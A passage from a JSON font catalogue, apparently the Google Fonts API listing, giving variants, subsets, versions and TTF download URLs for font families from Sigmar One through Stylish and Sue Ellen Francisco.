One","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sigmarone/v11/co3DmWZ8kjZuErj9Ta3dk6Pjp3Di8U0.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Signika","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v11","lastModified":"2020-07-15","files":{"300":"http://fonts.gstatic.com/s/signika/v11/vEFO2_JTCgwQ5ejvMV0O96D01E8J0tIJHJbGhs_cfKe1.ttf","regular":"http://fonts.gstatic.com/s/signika/v11/vEFO2_JTCgwQ5ejvMV0O96D01E8J0tJXHJbGhs_cfKe1.ttf","500":"http://fonts.gstatic.com/s/signika/v11/vEFO2_JTCgwQ5ejvMV0O96D01E8J0tJlHJbGhs_cfKe1.ttf","600":"http://fonts.gstatic.com/s/signika/v11/vEFO2_JTCgwQ5ejvMV0O96D01E8J0tKJG5bGhs_cfKe1.ttf","700":"http://fonts.gstatic.com/s/signika/v11/vEFO2_JTCgwQ5ejvMV0O96D01E8J0tKwG5bGhs_cfKe1.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Signika Negative","variants":["300","regular","600","700"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/signikanegative/v11/E217_cfngu7HiRpPX3ZpNE4kY5zKal6DipHD6z_iXAs.ttf","regular":"http://fonts.gstatic.com/s/signikanegative/v11/E218_cfngu7HiRpPX3ZpNE4kY5zKUvKrrpno9zY.ttf","600":"http://fonts.gstatic.com/s/signikanegative/v11/E217_cfngu7HiRpPX3ZpNE4kY5zKaiqFipHD6z_iXAs.ttf","700":"http://fonts.gstatic.com/s/signikanegative/v11/E217_cfngu7HiRpPX3ZpNE4kY5zKak6EipHD6z_iXAs.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Simonetta","variants":["regular","italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/simonetta/v11/x3dickHVYrCU5BU15c4BfPACvy_1BA.ttf","italic":"http://fonts.gstatic.com/s/simonetta/v11/x3dkckHVYrCU5BU15c4xfvoGnSrlBBsy.ttf","900":"http://fonts.gstatic.com/s/simonetta/v11/x3dnckHVYrCU5BU15c45-N0mtwTpDQIrGg.ttf","900italic":"http://fonts.gstatic.com/s/simonetta/v11/x3d5ckHVYrCU5BU15c4xfsKCsA7tLwc7Gn88.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Single Day","variants":["regular"],"subsets":["korean"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/singleday/v2/LYjHdGDjlEgoAcF95EI5jVoFUNfeQJU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sintony","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sintony/v8/XoHm2YDqR7-98cVUITQnu98ojjs.ttf","700":"http://fonts.gstatic.com/s/sintony/v8/XoHj2YDqR7-98cVUGYgIn9cDkjLp6C8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sirin Stencil","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sirinstencil/v9/mem4YaWwznmLx-lzGfN7MdRydchGBq6al6o.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Six Caps","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sixcaps/v11/6ae_4KGrU7VR7bNmabcS9XXaPCop.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Skranji","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/skranji/v8/OZpDg_dtriVFNerMYzuuklTm3Ek.ttf","700":"http://fonts.gstatic.com/s/skranji/v8/OZpGg_dtriVFNerMW4eBtlzNwED-b4g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Slabo 13px","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/slabo13px/v8/11hEGp_azEvXZUdSBzzRcKer2wkYnvI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Slabo 27px","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v7","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/slabo27px/v7/mFT0WbgBwKPR_Z4hGN2qsxgJ1EJ7i90.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Slackey","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/slackey/v11/N0bV2SdQO-5yM0-dKlRaJdbWgdY.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Smokum","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/smokum/v11/TK3iWkUbAhopmrdGHjUHte5fKg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Smythe","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/smythe/v11/MwQ3bhT01--coT1BOLh_uGInjA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sniglet","variants":["regular","800"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sniglet/v12/cIf9MaFLtkE3UjaJxCmrYGkHgIs.ttf","800":"http://fonts.gstatic.com/s/sniglet/v12/cIf4MaFLtkE3UjaJ_ImHRGEsnIJkWL4.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Snippet","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/snippet/v10/bWt47f7XfQH9Gupu2v_Afcp9QWc.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Snowburst One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/snowburstone/v8/MQpS-WezKdujBsXY3B7I-UT7eZ-UPyacPbo.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sofadi One","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sofadione/v9/JIA2UVBxdnVBuElZaMFGcDOIETkmYDU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sofia","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sofia/v9/8QIHdirahM3j_vu-sowsrqjk.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Solway","variants":["300","regular","500","700","800"],"subsets":["latin"],"version":"v3","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/solway/v3/AMOTz46Cs2uTAOCuLlgZms0QW3mqyg.ttf","regular":"http://fonts.gstatic.com/s/solway/v3/AMOQz46Cs2uTAOCWgnA9kuYMUg.ttf","500":"http://fonts.gstatic.com/s/solway/v3/AMOTz46Cs2uTAOCudlkZms0QW3mqyg.ttf","700":"http://fonts.gstatic.com/s/solway/v3/AMOTz46Cs2uTAOCuPl8Zms0QW3mqyg.ttf","800":"http://fonts.gstatic.com/s/solway/v3/AMOTz46Cs2uTAOCuIlwZms0QW3mqyg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Song Myung","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/songmyung/v8/1cX2aUDWAJH5-EIC7DIhr1GqhcitzeM.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sonsie One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sonsieone/v9/PbymFmP_EAnPqbKaoc18YVu80lbp8JM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sora","variants":["100","200","300","regular","500","600","700","800"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-07-13","files":{"100":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSdSn3-KIwNhBti0.ttf","200":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSfSnn-KIwNhBti0.ttf","300":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmScMnn-KIwNhBti0.ttf","regular":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSdSnn-KIwNhBti0.ttf","500":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSdgnn-KIwNhBti0.ttf","600":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSeMmX-KIwNhBti0.ttf","700":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSe1mX-KIwNhBti0.ttf","800":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSfSmX-KIwNhBti0.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sorts Mill Goudy","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sortsmillgoudy/v10/Qw3GZR9MED_6PSuS_50nEaVrfzgEXH0OjpM75PE.ttf","italic":"http://fonts.gstatic.com/s/sortsmillgoudy/v10/Qw3AZR9MED_6PSuS_50nEaVrfzgEbH8EirE-9PGLfQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Source Code Pro","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-25","files":{"200":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7Pqt8srztO0rzmmkDQ.ttf","200italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMbtecv7Gy0DRzS.ttf","300":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7PqtlsnztO0rzmmkDQ.ttf","300italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONN_tucv7Gy0DRzS.ttf","regular":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_SiYsKILxRpg3hIP6sJ7fM7PqVOuHXvMY3xw.ttf","italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_QiYsKILxRpg3hIP6sJ7fM7PqlOOvTnsMnx3C9.ttf","500":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7PqtzsjztO0rzmmkDQ.ttf","500italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMnt-cv7Gy0DRzS.ttf","600":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7Pqt4s_ztO0rzmmkDQ.ttf","600italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMLsOcv7Gy0DRzS.ttf","700":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7Pqths7ztO0rzmmkDQ.ttf","700italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONNvsecv7Gy0DRzS.ttf","900":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7PqtvszztO0rzmmkDQ.ttf","900italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONNXs-cv7Gy0DRzS.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Source Sans Pro","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-09-15","files":{"200":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKydSBYKcSV-LCoeQqfX1RYOo3i94_AkB1v_8CGxg.ttf","200italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZYokRdr3cWWxg40.ttf","300":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zAkB1v_8CGxg.ttf","300italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZMkhdr3cWWxg40.ttf","regular":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xK3dSBYKcSV-LCoeQqfX1RYOo3aP6TkmDZz9g.ttf","italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xK1dSBYKcSV-LCoeQqfX1RYOo3qPa7gujNj9tmf.ttf","600":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rAkB1v_8CGxg.ttf","600italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZY4lBdr3cWWxg40.ttf","700":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKydSBYKcSV-LCoeQqfX1RYOo3ig4vAkB1v_8CGxg.ttf","700italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZclRdr3cWWxg40.ttf","900":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKydSBYKcSV-LCoeQqfX1RYOo3iu4nAkB1v_8CGxg.ttf","900italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZklxdr3cWWxg40.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Source Serif Pro","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-25","files":{"200":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIXzD-0qpwxpaWvjeD0X88SAOeasbsfhSugxYUvZrI.ttf","200italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIVzD-0qpwxpaWvjeD0X88SAOeauXEGbSqqwacqdrKvbQ.ttf","300":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIXzD-0qpwxpaWvjeD0X88SAOeasd8chSugxYUvZrI.ttf","300italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIVzD-0qpwxpaWvjeD0X88SAOeauXEGCSmqwacqdrKvbQ.ttf","regular":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIQzD-0qpwxpaWvjeD0X88SAOeaiXM0oSOL2Yw.ttf","italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIWzD-0qpwxpaWvjeD0X88SAOeauXE-pQGOyYw2fw.ttf","600":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIXzD-0qpwxpaWvjeD0X88SAOeasasahSugxYUvZrI.ttf","600italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIVzD-0qpwxpaWvjeD0X88SAOeauXEGfS-qwacqdrKvbQ.ttf","700":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIXzD-0qpwxpaWvjeD0X88SAOeasc8bhSugxYUvZrI.ttf","700italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIVzD-0qpwxpaWvjeD0X88SAOeauXEGGS6qwacqdrKvbQ.ttf","900":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIXzD-0qpwxpaWvjeD0X88SAOeasfcZhSugxYUvZrI.ttf","900italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIVzD-0qpwxpaWvjeD0X88SAOeauXEGISyqwacqdrKvbQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Space Grotesk","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-03","files":{"300":"http://fonts.gstatic.com/s/spacegrotesk/v1/V8mQoQDjQSkFtoMM3T6r8E7mF71Q-gOoraIAEj62UUsjNsFjTDJK.ttf","regular":"http://fonts.gstatic.com/s/spacegrotesk/v1/V8mQoQDjQSkFtoMM3T6r8E7mF71Q-gOoraIAEj7oUUsjNsFjTDJK.ttf","500":"http://fonts.gstatic.com/s/spacegrotesk/v1/V8mQoQDjQSkFtoMM3T6r8E7mF71Q-gOoraIAEj7aUUsjNsFjTDJK.ttf","600":"http://fonts.gstatic.com/s/spacegrotesk/v1/V8mQoQDjQSkFtoMM3T6r8E7mF71Q-gOoraIAEj42VksjNsFjTDJK.ttf","700":"http://fonts.gstatic.com/s/spacegrotesk/v1/V8mQoQDjQSkFtoMM3T6r8E7mF71Q-gOoraIAEj4PVksjNsFjTDJK.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Space Mono","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/spacemono/v6/i7dPIFZifjKcF5UAWdDRUEZ2RFq7AwU.ttf","italic":"http://fonts.gstatic.com/s/spacemono/v6/i7dNIFZifjKcF5UAWdDRYER8QHi-EwWMbg.ttf","700":"http://fonts.gstatic.com/s/spacemono/v6/i7dMIFZifjKcF5UAWdDRaPpZYFKQHwyVd3U.ttf","700italic":"http://fonts.gstatic.com/s/spacemono/v6/i7dSIFZifjKcF5UAWdDRYERE_FeaGy6QZ3WfYg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Spartan","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrGFuG6OChXtf4qS.ttf","200":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEFuW6OChXtf4qS.ttf","300":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrHbuW6OChXtf4qS.ttf","regular":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrGFuW6OChXtf4qS.ttf","500":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrG3uW6OChXtf4qS.ttf","600":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrFbvm6OChXtf4qS.ttf","700":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrFivm6OChXtf4qS.ttf","800":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEFvm6OChXtf4qS.ttf","900":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEsvm6OChXtf4qS.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Special Elite","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/specialelite/v11/XLYgIZbkc4JPUL5CVArUVL0nhncESXFtUsM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Spectral","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2019-07-16","files":{"200":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9v2s13GY_etWWIJ.ttf","200italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qrXHafOPXHIJErY.ttf","300":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uSsF3GY_etWWIJ.ttf","300italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qtHEafOPXHIJErY.ttf","regular":"http://fonts.gstatic.com/s/spectral/v6/rnCr-xNNww_2s0amA-M-mHnOSOuk.ttf","italic":"http://fonts.gstatic.com/s/spectral/v6/rnCt-xNNww_2s0amA9M8kn3sTfukQHs.ttf","500":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9vKsV3GY_etWWIJ.ttf","500italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qonFafOPXHIJErY.ttf","600":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9vmtl3GY_etWWIJ.ttf","600italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qqXCafOPXHIJErY.ttf","700":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uCt13GY_etWWIJ.ttf","700italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qsHDafOPXHIJErY.ttf","800":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uetF3GY_etWWIJ.ttf","800italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qt3AafOPXHIJErY.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Spectral SC","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2019-07-16","files":{"200":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs1qwkTXPYeVXJZB.ttf","200italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg26zWN4O3WYZB_sU.ttf","300":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0OwUTXPYeVXJZB.ttf","300italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg28jVN4O3WYZB_sU.ttf","regular":"http://fonts.gstatic.com/s/spectralsc/v5/KtkpALCRZonmalTgyPmRfvWi6WDfFpuc.ttf","italic":"http://fonts.gstatic.com/s/spectralsc/v5/KtkrALCRZonmalTgyPmRfsWg42T9E4ucRY8.ttf","500":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs1WwETXPYeVXJZB.ttf","500italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg25DUN4O3WYZB_sU.ttf","600":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs16x0TXPYeVXJZB.ttf","600italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg27zTN4O3WYZB_sU.ttf","700":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0exkTXPYeVXJZB.ttf","700italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg29jSN4O3WYZB_sU.ttf","800":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0CxUTXPYeVXJZB.ttf","800italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg28TRN4O3WYZB_sU.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Spicy Rice","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/spicyrice/v9/uK_24rSEd-Uqwk4jY1RyGv-2WkowRcc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Spinnaker","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/spinnaker/v12/w8gYH2oyX-I0_rvR6Hmn3HwLqOqSBg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Spirax","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/spirax/v9/buE3poKgYNLy0F3cXktt-Csn-Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Squada One","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/squadaone/v9/BCasqZ8XsOrx4mcOk6MtWaA8WDBkHgs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sree Krushnadevaraya","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sreekrushnadevaraya/v8/R70FjzQeifmPepmyQQjQ9kvwMkWYPfTA_EWb2FhQuXir.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sriracha","variants":["regular"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/sriracha/v4/0nkrC9D4IuYBgWcI9ObYRQDioeb0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Srisakdi","variants":["regular","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/srisakdi/v4/yMJRMIlvdpDbkB0A-jq8fSx5i814.ttf","700":"http://fonts.gstatic.com/s/srisakdi/v4/yMJWMIlvdpDbkB0A-gIAUghxoNFxW0Hz.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Staatliches","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/staatliches/v5/HI_OiY8KO6hCsQSoAPmtMbectJG9O9PS.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Stalemate","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/stalemate/v8/taiIGmZ_EJq97-UfkZRpuqSs8ZQpaQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Stalinist One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v26","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/stalinistone/v26/MQpS-WezM9W4Dd7D3B7I-UT7eZ-UPyacPbo.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Stardos Stencil","variants":["regular","700"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/stardosstencil/v11/X7n94bcuGPC8hrvEOHXOgaKCc2TR71R3tiSx0g.ttf","700":"http://fonts.gstatic.com/s/stardosstencil/v11/X7n44bcuGPC8hrvEOHXOgaKCc2TpU3tTvg-t29HSHw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Stint Ultra Condensed","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/stintultracondensed/v9/-W_gXIrsVjjeyEnPC45qD2NoFPtBE0xCh2A-qhUO2cNvdg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Stint Ultra Expanded","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/stintultraexpanded/v8/CSRg4yNNh-GbW3o3JkwoDcdvMKMf0oBAd0qoATQkWwam.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Stoke","variants":["300","regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/stoke/v10/z7NXdRb7aTMfKNvFVgxC_pjcTeWU.ttf","regular":"http://fonts.gstatic.com/s/stoke/v10/z7NadRb7aTMfKONpfihK1YTV.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Strait","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/strait/v8/DtViJxy6WaEr1LZzeDhtkl0U7w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Stylish","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/stylish/v8/m8JSjfhPYriQkk7-fo35dLxEdmo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sue Ellen Francisco","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sueellenfrancisco/v11/wXK3E20CsoJ9j1DDkjHcQ5ZL8xRaxru9ropF2lqk9H4.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Suez 